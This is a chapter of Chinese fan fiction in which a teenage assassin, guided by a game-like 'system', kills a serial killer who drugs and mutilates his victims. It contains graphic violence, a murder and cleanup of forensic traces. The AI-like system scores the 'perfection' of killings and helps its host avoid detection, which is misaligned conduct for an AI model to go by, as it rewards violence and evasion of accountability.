    合上手下的书，织田作之助看向他的任务目标。


    草野阳平一愣，视线一瞬间被那双眼睛吸引。


    织田作之助思考着该用什么方法带走这个人。


    他没傻到去做当街杀人的事情。横滨警察没用但还是存在的，他的行为也是在犯罪，不能留下证据。


    在他想着抓草野阳平的时候，草野阳平也在想怎么带走他。


    原本草野阳平是打算放弃这个红发少年，可他的眼睛让草野阳平改变了主意。


    钴蓝色的，抬眸便是天空的眼睛。


    被注视的时候，他恍然间灵魂宁静了片刻。


    织田作之助下一刻便看到任务目标靠近，弯下腰看他。


    草野阳平将手提包甩到后背，食指勾着带子，微弓后背，温柔笑道：


    “你好。我常来这里喝咖啡，但这家店这个点最近实在冷清。不介意我拼个座？”


    送上门？织田作之助仰头观察一瞬面前这个青年，心下了然。


    对方今天选了他做猎物。


    织田作之助拿过放在旁边椅子上的双肩包，挂在椅背的一边。


    他说：“请坐。”


    草野阳平将包靠在椅背上，顺势坐下，“你是这家店的新客人？第一次来？”


    “是。”织田作之助将桌上的两本书放在一起，露出两本书的封面。


    接着他看了眼书店的方向再收回视线，“我听说书店能到买这本书的中卷，来这里买书，之后就在这里看书。”


    草野阳平随着他的目光一看，这一带他都很熟悉，他看向的就是书店的方向。


    再暗自看一眼面前这个少年的装扮，像个学生。草野阳平笑道：“我叫草野阳平，是横滨国立大学的老师。”


    “有兴趣认识一下吗？”


    几秒后，他看见这个少年开口。


    “织田作之助。”没有说假名，但织田作之助也没有介绍自己。


    草野阳平笑意不变，他说出名字足够让草野阳平知道他愿意聊下去。


    草野阳平看了下两本书的封面，这两本书他家的书房也有。


    心下便有了让这个少年跟着他走的诱饵。


    他笑了下，“我先去点一杯咖啡。”


    织田作之助目送他离开座位。


    草野阳平在点咖啡的时候和店员闲聊几句后问。


    “外面那个小孩今天第一次来啊。”草野阳平笑道：“之前没见过。”


    这个长发青年经常来咖啡店，店员和他很熟悉。


    女店员填写着订单，听见草野阳平的话还一愣。


    她看向外面才想起来不久前给这个少年写过订单。


    织田作之助正在玻璃窗外重新阅读那本书。他确实很喜欢这本小说。


    这么一看，她才恍然想起来，是那个帅气少年啊。


    也没奇怪怎么转头就忘记了织田作之助，她上班不是每个客人都能记住的。女店员回道：“是啊。草野先生，今天和平时一样是美式吗？”


    草野阳平的手臂随意搭在柜台上点了头，视线从调试咖啡的店员身上离开看向外面的织田作之助。


    读书的织田作之助看起来是个学生，但作为老师，草野阳平能看出来面前这个少年目前没有上学。


    他心下评估织田作之助的状况。看衣料应该家境不错但又不在上学。


    和家里闹别扭了不想上学？


    是不被认可，还是什么。草野阳平的眼眸更加暗沉，想到了总是疯狂不满的母亲。


    深吸一口气，草野阳平又带上温柔的笑想着现下的目标。


    他只报名字，有点警惕性，不过不难应对。


    确认织田作之助就是爱书，暂时辍学的学生，草野阳平转头想最近的横滨警方。


    上次寄出去的那双手很细腻，它的主人是横滨有名的政客之一的女儿。


    这个案子警方最近在严查，但草野阳平不觉得他们能查到他，一方面对自己的狩猎不会被人发现这点足够自信，一方面是谁会怀疑一个温文尔雅的大学老师是杀人犯。


    横滨的罪犯不都是那些黑手党和流浪儿吗。


    草野阳平再回到座位时对看他的织田作之助说：“你在看这本小说的上卷啊，我能看一下另一本吗？”


    织田作之助适时做出点疑惑的神色。


    草野阳平指了指自己的手提包，“我教文学系，也兼职写书。每天会来这家咖啡店观察别人的生活积累素材。”


    草野阳平说着想起那些无手尸体，嘴角翘起，温柔的弧度中掩着恶意。


    “我觉得你是个不错的素材。”


    草野阳平歪了头，笑道：“阅读的书一般也能体现喜好。这本书我有收藏，但并未仔细看过，我想现在就了解你。”


    “所以我能看一下你的书吗？”


    草野阳平才不是个作家，他就是个普通大学老师。系统气鼓了脸。


    早知道今天会遇见那个叫夏目漱石的作家勾起作之助亲的写作欲，它就不选草野阳平作为任务目标了，这个人居然撒谎都能碰到作家身上去。


    [不给他看！他在说假话]


    系统也是察觉出被织田作之助纳入地盘开始放纵了。


    钴蓝色的眼眸微垂，织田作之助抬手放在书上，在草野阳平以为他要交给他时，他拿着书放到另一边。


    织田作之助将上卷放到一旁，手掌压住封面，神色和肢体动作都在拒绝草野阳平。


    被宠的系统瞪草野阳平，没完成评分前，和作之助提写作的它都不喜欢。


    这关乎它的痛苦。


    草野阳平被拒绝也不恼，他决定了一个猎物可没那么容易放弃或者恼怒，而且对方似乎上钩了。


    织田作之助抬眸，眼眸不似平时静默，点染了一点好奇，几分青涩和警惕。


    “选我作为素材？为什么？”


    “眼睛。”草野阳平支起下巴，束起在脑后的长发顺着他的动作落在桌面。


    他看着织田作之助，黑眸中暗藏血红，是阳光穿越眼前这个少年的发丝落下的颜色。


    “你的眼睛让我平静。”


    织田作之助微蹙了眉，他立起手里的书，落在桌面发出轻微的响声，微嚷了句：“眼睛怎么能做写作的素材。”


    草野阳平轻松一笑，“当然不止眼睛，你说出口的每一句话都能是作家笔下的文字。”


    他看着面前的少年一愣，偏过头去。


    “还包括这些吗。”织田作之助偏过头，低喃了一声。


    他的声音轻缓，却也能让旁边的人听清。


    草野阳平眸光一动，他问：“你对写作感兴趣？”


    系统从织田作之助说话开始就发懵，织田作之助身上安静的气息突然添了几分活跃，不太像它了解的他。


    这时候听见草野阳平又提起写作，系统再瞪了他一眼。


    织田作之助坐直了身体，目光带上几分小心，他看着草野阳平似乎在不确定他怎么知道的。


    “我是有写作的打算，但是不知道怎么开始。”


    草野阳平心下一笑，果然说点感兴趣的，这些猎物的防备心就像纸一样容易戳破。


    草野阳平假意沉思了一下，他看向桌面上只有两卷的小说。


    “你有这本小说的第三卷吗？”


    织田作之助摇头，“我没有买到。”


    他低头看了眼书，这个道具真的买对了。


    草野阳平放下支在桌上的手，发出邀请，“我家里有这本小说的下卷，你要来看吗？”


    他看见眼前这个少年面色有些犹豫，又开口说了下一句话。


    “或许，我们还能聊一下怎么写作。”


    织田作之助脸上的五官并没有多少变化，但偏偏表情表现出了犹疑和松懈。


    这份松懈让草野阳平放松，手指勾住咖啡杯准备饮用。


    几息之后，织田作之助合上书摸了摸书脊，犹豫点了头，“好。”


    “要现在去吗？”


    草野阳平摇了摇头，念出一个地址后笑道：“明早你来我家吧。我今晚有一节课。”


    织田作之助想起这个人是大学老师，“好的。”


    见他应下，草野阳平抿了一口咖啡。他认定的猎物只有一个结果：


    成为他的收藏品。


    [你可以开始任务了]


    织田作之助将两本书放在一起，拿起自己的咖啡。


    凉了。


    织田作之助放下这剩余的半杯咖啡。


    系统播报前先问了好奇的事。


    [作之助亲，你是不是在演戏？]


    织田作之助低头看着凉了的咖啡露出遗憾的神情，内心平稳冷静的说：


    [嗯]


    [原来如此，我还以为作之助亲真想去写作了]


    系统解开了纠结的事情，心绪一松高高兴兴的播报了。


    数据音带来个不好的消息。


    [杀死草野阳平（-50/100）您的杀人行为暴露率高达100%，请谨慎观察四周]


    织田作之助一怔，遗憾的表情都露出几分意外。


    -50


    这个分数出乎意料。


    草野阳平没有发现


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    他是个杀手，一个杀他的杀手。


    既然不是任务目标发现了他，那他的任务暴露风险从什么地方来的。系统判定他这次的行动一定会暴露。


    织田作之助捏着咖啡杯想着播报中的提醒。


    他的四周有什么东西发现了他想杀草野阳平。


    早在他们交流时跳下墙头靠近偷听的夏目漱石只能看清那个长发青年的神色，之前搭话的织田作之助背对着他，他看不见表情。


    三花猫的视线在两人之间扫过，他有自己看人的方式。这个自我介绍是草野阳平的人不只是一个大学老师，他的眼中有见过血的痕迹。


    蹲在地上的三花猫迈开脚步，矫健的起跳。


    夏目漱石想看看这个红发的少年杀手是什么表情。他旁边的草野阳平频频注意他的手，那可不是个好眼神。


    这个极冷静的少年居然没点反应？


    亲眼正面看见织田作之助，夏目漱石惊讶了一瞬。不只是没反应，他现在的体态神色，就算是他也看不出这是个杀手了。


    他们的桌上跳上一只猫。


    织田作之助转头看了眼这只三花猫。


    它似乎只是找个地方歇脚。


    织田作之助站起身，从椅背上解下双肩包的带子，拉开拉链，将两本书放进去。


    他就这么在任务目标面前打开了他装枪的书包。


    草野阳平没有察觉这个少年书包里装着杀死他的东西。


    他抬头看他，“你要走了？”


    织田作之助装好后单肩背上书包，“是时候该回家了。”


    这个对话让夏目漱石扭头去看草野阳平，这个青年和杀手少年之间的气氛平静，甚至有点岁月静好的意味。


    教书育人的老师和求教的学生？


    正想着，三花猫的身体一僵。


    捏着这只猫的后颈，织田作之助将它抱进怀里。


    草野阳平看他的动作在他临走前笑问了句：“你的猫？”


    “不是。”织田作之助按揉了几下三花猫的头，指尖顺着毛发揉捏。


    看似抚摸猫咪，其实是在暗暗用劲阻止这只猫跳出怀里。


    夏目漱石挣扎后发现自己的动作像是被预判了一样，不管怎么动都像是猫咪在迎合讨好人类的手。


    胡须一颤，夏目漱石脑中划过一丝念头，他不会是被这个孩子发现了吧！


    草野阳平看着他用手指按住三花猫，几缕橘色的猫毛覆盖在指尖，一时捻了捻手指。


    动作之后才发现他把手提包放到了背后。


    他诧异后感叹：真想砍下来那双手挂在书房。


    无心再追问织田作之助为什么要抱这只无主的猫，草野阳平察觉自己掩饰不住眼里的贪念。


    他状似无意地饮尽杯中的咖啡。接着他起身，“我今天也待到这个点好了。”


    草野阳平笑了笑，“再见，织田。希望明天如约见到你。”


    织田作之助站在咖啡店的圆桌旁，怀中抱着皮毛顺滑的三花猫。如青松般站直的少年轻笑了下，“好，明天见。”


    看着他，草野阳平心下再无不满，不是女性也没关系了，这次就当是因为他自己的喜好选择猎物。


    他总得逃脱一次他的梦魇，寻找一次宁静。


    草野阳平转身离开。


    织田作之助看着他转身，从系统那里得到了一样的语音播报。


    面前这个人，他此刻动手，暴露率就是百分百。


    结合手下这只突然出现，不断从他的预知异能中逃脱，敏捷聪慧得不像是一只猫的家伙。


    沉默转身，织田作之助已经将大半的怀疑放在了猫咪上。


    少年的脑中从没有一只猫就平平无奇的念头。他身上有一只系统。


    远离这个地方后，织田作之助捏住三花猫的后颈防止他逃脱。


    夏目漱石整个人不好了，他居然跳不出这个怀抱，不止力气大得过分他挣不开，就算用上爪子挠，这个少年也几乎都能避开再把他抓住。


    织田作之助和系统搭话，[你要不要试试进入这只猫的身体？]


    [什么？]系统一时没反应过来。


    [这只猫，我看了系统手册，你能附身]


    他的眸光虚虚看在三花猫的脑袋上，直把这只猫看得后颈发毛。


    [要用多少能量，我给你承担]


    织田作之助的语气平淡，却平添一抹蛊惑。


    [只是暂时出来玩一趟]


    [在我身体里，你总归无聊的]


    系统的目光放在那只猫身上，核心一抖。


    它俏声问：[作之助亲，你还没忘记我告诉你的事吧。系统亲出去了对宿主来说不是件有利的事情]


    它的声音低哑，是心动却不敢也不能做的忍耐。


    就算那只是只猫，它也不能。


    现在作为一个被使用的工具存在，它已经很开心了。


    [没关系]


    织田作之助垂眸，表情中不带一丝假意，他说道：[那是系统会对宿主不利]


    [不是你对我]

 22.杀手织

    系统，被蛊惑了。


    其实织田作之助脸上的神态和言语间的语调平稳冷淡，从没有甜腻的魅惑，但偏偏就是这种稳态的邀请让人忍不住捏捏，试探几下。


    夏目漱石只觉身体越发沉重，意识模糊。


    三花猫的眼眸灰暗一瞬，转眼间又恢复亮色。


    “喵。”系统轻声试探地叫了一声。


    空气中的声波让它清醒意识到它在现实里。


    从数据中生出血肉。


    系统抬头看向织田作之助，他一个肩膀上还挂着书包，一双钴蓝色的眼睛平静地看着它。


    它的宿主可真淡定，他一点不害怕，也不惊惧。


    [能维持几天？]织田作之助抱着它问。


    “喵。”[上次作之助亲缩小房子用的能量不多，除去控制速度buff的能量，剩余的能量值全部用上能维持五天附身]


    系统叫了一声后转身去蹭织田作之助的手心。


    [作之助亲，系统亲再有一分钟就回去]


    织田作之助没拒绝猫咪的蹭蹭，他看着乖顺的猫没有回应这件事而是问起任务。


    [任务怎么样]


    [杀死草野阳平（10/100）您的目标相信了您的伪装身份]


    不一样的播报让织田作之助抬起猫脑袋观察了一下，这只猫是妖？


    还是异能力者。


    将妖魔鬼怪也纳入可能的织田作之助低头想着。


    [你附身的是猫还是人]


    [是猫]系统看了下能量损耗流速，这么缓的流速确实是猫。


    [不过，它好像能变成人]系统动了动身体，猫咪的头从织田作之助的手心离开仔细看着手脚。


    [要变人？]织田作之助看着它的动作，一边问着一边抬头张望四周。


    真能变成人类，他可不想抱着它。


    [不变，系统亲只是想好好看看身体]


    系统站起来，一步跳上织田作之助的肩膀，它的动作很快，几乎只在织田作之助的眼眸中留下一道残影。


    从异能预知中看见它落在他肩膀上，织田作之助并没有躲开。


    系统踩在他肩膀上的那一刻晃神了，那一瞬间是它在动，每一分肌肉收缩与舒张，呼吸间的变化，都在说，它是活着的。


    内心有些贪恋，系统转头看了看织田作之助，这个角度他只能看见他的头发。


    它有点遗憾的发现时间到了。


    [系统亲回去了]


    织田作之助将它抓下来，[不用，你在这具身体里待着]


    [五天时间，用我的能量]


    他的语气不容拒绝。


    系统先是惊喜，它抬头闪亮的看着织田作之助。


    [真的吗，作之助亲，你真的要让我在现实里待五天吗？]


    它快被这个消息砸晕了，初见警惕到不愿意多听他一句话的织田作之助这时候亲自邀请它在现实里出现。


    接着它清醒的发现，作之助亲一点不介意它有没有自己的想法和生命唉。


    [嗯]


    织田作之助看着抬头忍不住用亮晶晶的猫眼看他的系统，摸了摸猫。


    两种不同神色的猫瞳。看起来原主人比他的系统成熟多了。


    [留点能量，别让身体的原主人发现你附身了吗。麻烦。]


    [好。]系统应下。它也明白刚刚百分百暴露率是来自这只猫。


    用系统解决这个任务阻碍的织田作之助转身，内心思索怎么照顾系统。


    它能不能吃东西？


    低头看了一眼新奇张望的猫，织田作之助决定去买点鱼干。


    第二天，织田作之助按响了草野阳平的门铃。


    红发少年站在沉重的红木门前，肩膀处蹲着一只皮毛水滑的三花猫。


    等待的过程中，三花猫抬起前爪在织田作之助的肩头从一边走到另一边。


    [作之助亲，这感觉真棒！]


    系统忍不住再踩两下少年的肩膀，猫爪子感受变成活物的新奇。


    [你喜欢就好]


    织田作之助的语气平淡。一点不关心系统脱离宿主，他亲手赋予一个工具活体这件事。系统过于自主的危险就像海面下藏起的冷冽冰川。


    极冰之上，是无波的蓝。


    可能是染了猫咪的习性，系统伸出爪子抓了两下织田作之助的头发，再收回来时爪子上也没挠下点头发。


    系统遗憾，它还想玩作之助的红发呢。


    紧接着系统一激灵，它附身的也不是普通躯体，怎么还染上猫的习惯了。


    这具身体当猫当多了？


    织田作之助任由系统在他对肩膀上作乱，稳稳站立，脊背挺直，怀中抱着黑书包。


    打开门，门外的少年让草野阳平眼中平添温柔，他乖乖赴约了。这个猎物倒是乖巧。


    “你来了。请进。”草野阳平说道。他今天只穿着家居服，长发披散。


    他看向织田作之助肩膀上的猫，他带着这只猫？不是说不是他的吗。


    织田作之助点头，“好。”


    将人引进来，草野阳平问起他身上的猫。“你收养了它？我记得你说它不是你的猫。”


    织田作之助抬起手，反手抚摸了几下猫咪的脑袋，柔软毛发在手指间滑落。


    “不是收养，只是养几天。”织田作之助说道。


    “织田的猫很黏你，看起来你只想要养几天的事，它可不同意。”草野阳平笑道，言语间已经将织田作之助引入书房。


    “养猫可是件麻烦的事情，没养熟它会跑，养熟了占有欲又强，你就养不了第二只猫。”


    系统猫卧趴在织田作之助的肩膀上乖乖被摸，听着这句话甩了甩尾巴。


    也没错，确实是它黏着作之助亲，死缠烂打了两年，他才接受养它。


    系统内心点头，坦然接受猫猫的身份，至于这具身体的人类身份就当没有。


    它可不想变成人类，那样织田作之助就不会让它在他肩上趴着了。


    织田作之助放下摸猫的手看向他，“你养过猫吗？”


    “没有哦。不过我知道被养是什么感觉。”草野阳平嘴角翘起，黑色的眼眸更暗。就像他那些想跑的收藏品和追求者。


    漆黑的暗色和这间书房的黑暗融化在一起，看不清是哪个更暗。


    草野阳平转头看织田作之助。他看向的少年没有看他，而是目视前方的书房。


    这件书房很大，织田作之助并不意外。草野阳平给他的地址在富人区，这一带的房型他以前送报纸的时候观察过，书房是基本设计。


    不过这个书房似乎应该更大一点。


    系统在织田作之助的肩膀上跳下，轻巧落在地面，向前走了几步，猫脑袋四处观察着。


    三花猫的色彩步入了黑暗中有点晃眼，草野阳平眯起眼睛，眼眸微转再次看向身边已经迈步进去的织田作之助。


    视线落在红发上，他微怔了眼，那是血锈一般的红，他以为黑暗中他的红发也会晃眼，没想到会融进黑色里。


    [作之助亲，系统亲第一次见全黑的书房]


    系统跳上一旁的书桌，这里只有简单的一张书桌，和两把隔着书桌相对的木椅。


    从书架，桌面到木椅，每一处都是黑色的。


    整个书房仿佛蒙上一层黑雾，难以看清。


    织田作之助回身望向草野阳平，双眸平静。


    “能开灯吗？”


    草野阳平轻笑着看着在黑暗的书房内回望他的猎物，轻声说：“当然可以了。”


    开关扣动的瞬间，明亮的灯光照亮黑色的书房。


    突然出现的灯光让织田作之助微垂了眼眸。


    草野阳平走到书桌旁，伸手拿起防置一晚的书。


    那是小说的下卷。


    系统坐在书桌上看着他拿起这本书，猫脑袋转头看向织田作之助。


    它可是看清楚这本书的名字了。


    作之助亲还会看见它之后就想要去写小说吗？


    草野阳平将书递给织田作之助后做了个邀请的手势，“请坐。”


    接过这本书，织田作之助拉开木椅坐下。


    草野阳平坐在了他对面的木椅上。


    “为什么要将这里的书都包上黑纸。”织田作之助将书放在书桌上，抬头看向这里的书架，书架是黑木的，上面的书也被黑色的纸张包裹。


    “因为我不喜欢。”草野阳平在自己的地盘卸下了伪装，他还笑着，只是笑容中少了温柔。


    织田作之助看着他，视线一转放在了他的手腕上。


    “和你手上的伤有关？”


    草野阳平一愣，皱眉看向手腕处，从家居服袖口露出了狰狞的疤痕。


    是他忘记扣紧，还是他就想要这个人发现。


    草野阳平忽觉自己不够谨慎，他居然忘记了换衣服。


    织田作之助翻开书，先看了一眼有多少章节，一边说：“抱歉，冒犯了。如果你不想要回答这个问题请当我没有说过。”


    草野阳平摸着那处伤疤，静默一下笑起，让他知道也没关系，反正一会儿他就会成为他的收藏品。


    “没事，可以说。”


    “这是我母亲打的。她想要我读文学系，想要我像我的父亲一样成为一个小有名气的作家。我当时沉迷音乐，不愿意学枯燥的文学。”


    黑眸沉沉，草野阳平继续说着，语气中带着一股湿冷。


    “她让我跪在她面前，命令佣人用鞭子抽打我。这个伤是我挡鞭子的时候留下的，那时候她就坐在沙发上，一手抬起咖啡杯品尝着它，就像是在品尝我的痛苦。”


    系统抬起爪子舔了一下，内心没有同情，它是明白织田作之助在目标死亡前还和他交流是想做什么。


    增加完美值。


    和一般的职业完美值不同，织田作之助若是研究某个领域的学者，研究进度和反响赞美就是完美值评分标准。


    作为杀手，完美值多看猎物死亡时的情绪和结算画面。结算画面占比更多。


    草野阳平再抬眸本想看见织田作之助会用什么样的目光看他，结果对方埋头看书丝毫不在意他说了什么。


    草野阳平无奈笑道：“问我的是你，结果我说的时候你在看书。”


    织田作之助坐直身体，抬头眼眸沉静，他说：“你不需要我对这件事有任何情绪。”


    草野阳平一怔，织田作之助用的是情绪，不是话语和表达。


    勾起嘴角，草野阳平望进那双蓝眸，“你说的对。那你觉得她怎么样，我是不是应该报复她。”


    他说出来的那一瞬间，心口一松，恍然间他好像站在一处悬崖，悬崖的一边不是空荡的深谷，而是填满了柔软的云雾，一步就是没有痛苦的深渊。


    [杀死草野阳平（50/100）您的猎物被迷惑，心房靠近了您呢]


    织田作之助想着他的问题。


    一个孩子应不应该报复母亲。


    “我不评价你的母亲。”织田作之助没兴趣代替他评判一个人。


    “至于你应不应该报复，我的回答是。”


    织田作之助的目光还在看他，草野阳平心怀紧张，他会说什么？


    “可以。”


    他痛苦并且难以忍受，自然可以报复。


    草野阳平胸腔震动，不是认为母亲的路是对的，不是轻巧地说有什么误会解开便好，更不是说他想要报复是极端想法。


    这个少年直截了当的说，他可以报复。


    草野阳平自然听得出来，织田作之助的语调冷漠，显然这其中可以包括死亡。


    草野阳平笑了，嘴角的弧度逐渐扩大。


    他笑着，眼尾隐隐掉落泪光，虚伪的亲情和血缘是可以被斩断的。


    织田作之助听着他笑，低头看着书上的内容，一心两用对他来说很容易。


    他阅读着，一边想：这就像给一个生禽放血，割开一个口子，血流干净了，也就到了死亡的时候。


    草野阳平逐渐安静，手指也不再按着疤痕。


    他想，等这个少年读完这本书后，他就是他的猎物了，无处可逃的猎物。


    变得安静的书房内，两个人都是彼此的猎物，书页翻动的声音是捕猎的前奏。


    织田作之助在最后一页看见了这个杀手的结局。


    书中的杀手死于同归于尽。


    织田作之助眼眸揉进一点暖意。那是一本书看见了结局的满足。


    系统跟着看完后心里遗憾，那样一位杀手最后为了救赎而死。


    系统觉得他不太明智，这场私约他本可以不去。太冲动了。


    “你很喜欢这本书？”草野阳平歪头问织田作之助，身后长发已经被他束起。


    “是。这是一本写的很精湛的书。”织田作之助并不觉得这本书的结尾像作者说的一样糟糕。


    书中的杀手为了救赎死亡，和另一位敌人同归于尽。


    他的心在死前平静。


    织田作之助合上书，随意搭在腿上，手指接触青绿的封面。


    他心下想，最近同归于尽这个词出现的频率有点高。


    这是第几次了。


    他给自己也设想过同归于尽的结局。


    草野阳平轻笑着，“你真喜欢，这本书就送给你了。”


    送给他？


    织田作之助还未想怎么回答，眼前便有些眩晕。


    额前的碎发颤了一瞬，织田作之助的视线逐渐模糊，身体无力。


    一阵衣料摩挲，他后背靠进黑椅中，草野阳平的身影在眼中虚无，仅剩的思绪在思考这是怎么回事。


    织田作之助的内心没有恐慌和惊惧，他的眉头微蹙，露出一点疑惑和茫然。


    他中毒了？


    意识模糊之际，织田作之助听见了系统的喊声。


    [作之助亲。你中了迷药，需要我为你解开吗]


    [不用]


    织田作之助闭眼前想着迷药发作的时间超过了六秒，他的异能力无法被动给出死亡预知。


    这个人碰巧发现了他的弱点。


    草野阳平见椅中的少年垂下眼眸，面容安静的睡去才起身。


    这个少年有点警惕心，但弱点是个书迷。


    靠近织田作之助，草野阳平看着他腿上那只放在书上的手。


    青绿的书面衬得指腹剔透，手指并非瘦骨，指骨有力，长指如钩。略粗糙的皮肤包裹筋肉，手纹却极少。


    不似他记忆里恶心可厌的纤瘦温软的手。


    草野阳平想起那个对他永远没有好脸色的女人，眼中神色深暗，他最恨她用那只手握着她那永远喝不腻的咖啡痴笑，下一秒就让佣人对他挥鞭的模样。


    伸手抽出这本书，草野阳平将它放在书桌上。


    将少年放在一旁的书包打开一看，草野阳平发现里面只有一些稿纸和昨天他手里的两本书。


    织田作之助就这么没带任何武器来了这里。昨天的接触他觉得这个人用不上他开枪解决。


    草野阳平注视着书包里的东西，如果织田作之助是母亲的儿子，他是不是就是母亲想要的热爱文学的孩子。


    这些都是没必要的幻想，将书包放下，草野阳平转身动了书架上的一个机关。


    两扇漆黑的书架向两侧挪动露出黑沉的入口。这间书房中还隐藏着一个密室。


    草野阳平摸了摸一旁的三花猫，笑着说：“乖一点，或许我能代替你的主人养你。”


    系统不理这个人类，一声猫叫都没有发出。


    [杀死草野阳平（80/100）您的猎物完全松懈了呢]


    草野阳平抱起靠在黑木椅上的少年，一步步走进密室中。


    系统歪了歪头，跳下桌子跟了进去。虽然能远程记录，但它还是想亲眼看见他死亡。


    一进密室，三花猫看清了里面的构造。


    中心的操作台旁放着置物架，上面有各种刀具。


    操作台的周围是放着这种防腐剂的玻璃罐子。


    里面放着无手的女尸。


    系统的猫瞳里映着这些尸体，核心的数据在计算在这个场景下杀死任务目标的评分。


    [杀死草野阳平（90/100）您将要在众怒下摧毁他]


    在机械的数据音中，织田作之助被放在一张冷色操作台上，身下铺着一层白布，草野阳平拿起了织田作之助的手，从一旁的置物架上取出一柄短刃。


    草野阳平目光触及织田作之助的手腕，缓缓上移到手肘处。


    还是从这里开始割吧。


    他不担心织田作之助醒来，草野阳平只是比一下想要的长度并不是真的要这时候动手。


    他之后会给他注射更多的迷药，再绑上束缚带。


    在刀锋触及手肘前，织田作之助反手握住草野阳平的手腕用力攥紧。


    短刀从他手中脱手的那一刻，织田作之助用另一只手握住刀柄。


    拉过草野阳平将他垫在身下，膝盖猛地重压下他柔软的胃部。


    银光一闪，开刃的短刀就搁在了草野阳平的脖颈上。


    行云流水的动作加上织田作之助清明的眼睛，草野阳平怎么会猜不出他刚刚在演。


    只是他没有多少力气质问，草野阳平的面容正因为手腕和胃部被痛击的痛苦紧皱。


    过来一会儿他才说：


    “你没中迷药？”气息不稳，说着他自己又否定，“不，你中毒了，只是药效在你身上时效很短。你没有发现我在那本书上涂了迷药。”


    草野阳平说话间没管脖颈上的刀刃，血痕缓缓流下血液。


    织田作之助皱眉，手上的短刀已经染上了草野阳平的血，冷色的刀刃处洇湿了血液。


    织田作之助审视草野阳平的神色，他的眼中只有他快速脱离迷药的惊诧。


    草野阳平不忌惮脖颈处的刀，就算身上这个少年很用力的抵着他。


    他正想着会不会就这么被杀的时候，草野阳平听见织田作之助说。


    “这里是什么地方。”织田作之助翻转了短刀，刀背对准草野阳平脖颈狠狠压下。


    “我的收藏室。”草野阳平没去看四周的女尸，那些收藏品不过是他对母亲的报复。


    他笑着将这件事说出口，等待对方因为这个无用的对话放松警惕。


    “这不是报复。她们没有背叛你，也没有伤害你。”织田作之助平静地说出这句话。


    草野阳平想了想，在脖颈处不断被刀背挤压的疼痛中点头，“是。那不再是报复，只是发泄而已。”


    说完这句话，草野阳平暂时适应了胃部被挤压的反胃，伸手用力掰开织田作之助持刀的手。


    他不想死。这个被他认为是学生的少年看起来不准备放过他。


    织田作之助当然也知道这点，但他不会给他逃脱的机会。


    在草野阳平挣扎间，织田作之助几个呼吸间再次限制住他。


    伴随着打斗还有最后一个问题。


    “你杀了你的母亲。”织田作之助几下扭断了这个人的四肢，骨头错位的声音在寂静的收藏室里很清澈。


    “是。”可能是长期的虐待让他的忍痛能力很强，被扭断四肢了，草野阳平也没有惨叫一声，只是闷哼。


    “你问这个想做什么？”草野阳平也知道今天自己逃不了，面色苍白的问。


    “啊，让你放松点。”织田作之助淡然说道，手上的短刃反转，刀刃对上身下的脖颈。


    系统站在不远处，猫瞳看着红发的少年坐在任务目标身上，在一众亡尸的闭目下一击割喉。


    精妙的手法下，织田作之助身上没有沾上一滴血液。


    [杀死草野阳平（100/100）您的任务目标已上黄泉被啃食殆尽]


    这个播报没让织田作之助意外，他起身跳下操作台，从置物架上取下纸巾仔细擦干净短刃上属于他的指纹，接着随手抛进置物架。


    这个世界有灵魂存在，系统就寄生在他的灵魂上。


    织田作之助处理好每一处痕迹，他很仔细，但是有些痕迹在智商奇高的人眼里还是很明显。


    系统要的只是个完美的杀人画面，至于后续它不在意。


    这时看着织田作之助将书包收拾好，它几步跳上书桌，接着还想要跳上织田作之助的肩膀。


    织田作之助抓住它，下移了手抓着它的爪子一点点擦干净。


    系统维持着抬爪的姿势，动了动耳朵，差点忘记作之助亲爱干净了。


    不好意思之后，它抬头告诉他还有哪里可能暴露他的痕迹需要清理。


    其实织田作之助做的程度已经能被判为疑案。再多的痕迹只有那些极其优秀的推理大师才能发现蛛丝马迹。


    这样的人这个世界寥寥无几。它不需要提醒，也不能提醒。


    但是这次它轻松说出口了。系统眯眼想，有身体之后系统限制果然少了不少。


    织田作之助一一应下，一边将猫咪的后爪擦干净。


    [作之助亲，今晚我还能吃炸小鱼干吗？]


    系统等织田作之助擦干净后爪就跳上了他的肩膀，迫不及待地问。


    昨天晚上在临时住处，作之助亲给它做的小鱼干真的很好吃。


    不知道它喜欢吃哪一种，作之助亲还给它做了红焖的和干炒的。


    它最喜欢炸小鱼干。


    大概是它附身的是三花猫状态，不可避免染了猫的习性。系统喵喵叫着，内心坦然想着，它现在是猫，爱吃鱼干完全没关系。


    织田作之助点头，“好。回去给你做。”


    将属于自己的痕迹擦干净，织田作之助带走了那本书。


    临走的时候，织田作之助合上门，问肩头的猫。


    [留下标记会不会太显眼了]


    织田作之助刚成为杀手六个月不想让事情变麻烦，而且他本人是有些排斥出风头这件事的。


    系统动了动手，猫爪子跺在他肩膀上，轻微的疼痛让织田作之助拍了下它的头。


    没有责怪的意味，他只是让它小心点。


    [那是系统亲画的，不会有人从标志发现作之助亲。我只是附身，算是半影响现实，人类看见标记会意识到它是个图案，留下一点印象，再多的系统亲会阻止他们思考的]


    系统舔了下猫爪子，为了这件事作之助亲又给它洗了次爪子。


    用猫爪子沾血烙印这件事，其实是它也想留下点自己的痕迹。


    在现实里和作之助亲留下并肩作战的痕迹。这是它早就想要和宿主一起做的事情了。


    作之助亲没有拒绝。


    系统高兴地眯了眯眼睛。小少年是个宽容的宿主呢。


    [今天的buff是“身为异族王蛇的我怎么会害怕毒素”]


    [buff效果：化蛇，毒抗体质]


    [时效：此类特殊buff不限时限]


    自从作之助亲打破一个buff后它就能看清楚所以buff全名了。播报完，系统立刻扇了扇耳朵，语气兴奋：


    [作之助亲！是特殊buff！很少有宿主拿到的，您的运气真好。五分钟后您的身体会获得永久的毒抗体质]


    它的宿主真棒，像是抽奖一般打开的buff库也能抽取出稀有buff。


    [作之助亲可以放心在这里适应buff，buff生效过程是系统保护时间，世界无法记录]


    织田作之助的脸侧在播报的下一秒就隐隐浮现灿绿的鳞片。


    冰冷的精致鳞片在下颌出向上攀长。如沉寂海洋一般的蓝眸隐隐浮现尖锐的竖眼。薄唇下洁白整齐的牙齿畸变出锥形利齿，压在下唇，在唇上挤压出柔软的小坑。


    织田作之助在抬手碰了碰自己的脸，平滑温热的鳞片在指腹下的触感和皮肤没有太大区别。


    他还以为会和蛇类的一样冷。


    [你说的世界无法记录除了人类的监控还包括什么？]


    织田作之助已经看过系统手册，这段也看过。但是有些词段没有解释，比如世界无法记录，比如附身。


    他现在知道附身是什么，该系统解释这个世界无法记录是什么。


    红发少年眼眸中的竖瞳缩了缩，生理性的，他在适应突然增强的视力。


    [简单说就是这个世界的任何东西都无法记录下您的buff生效过程。魔力，异能，科技，咒力，元素力，灵力都不可以]


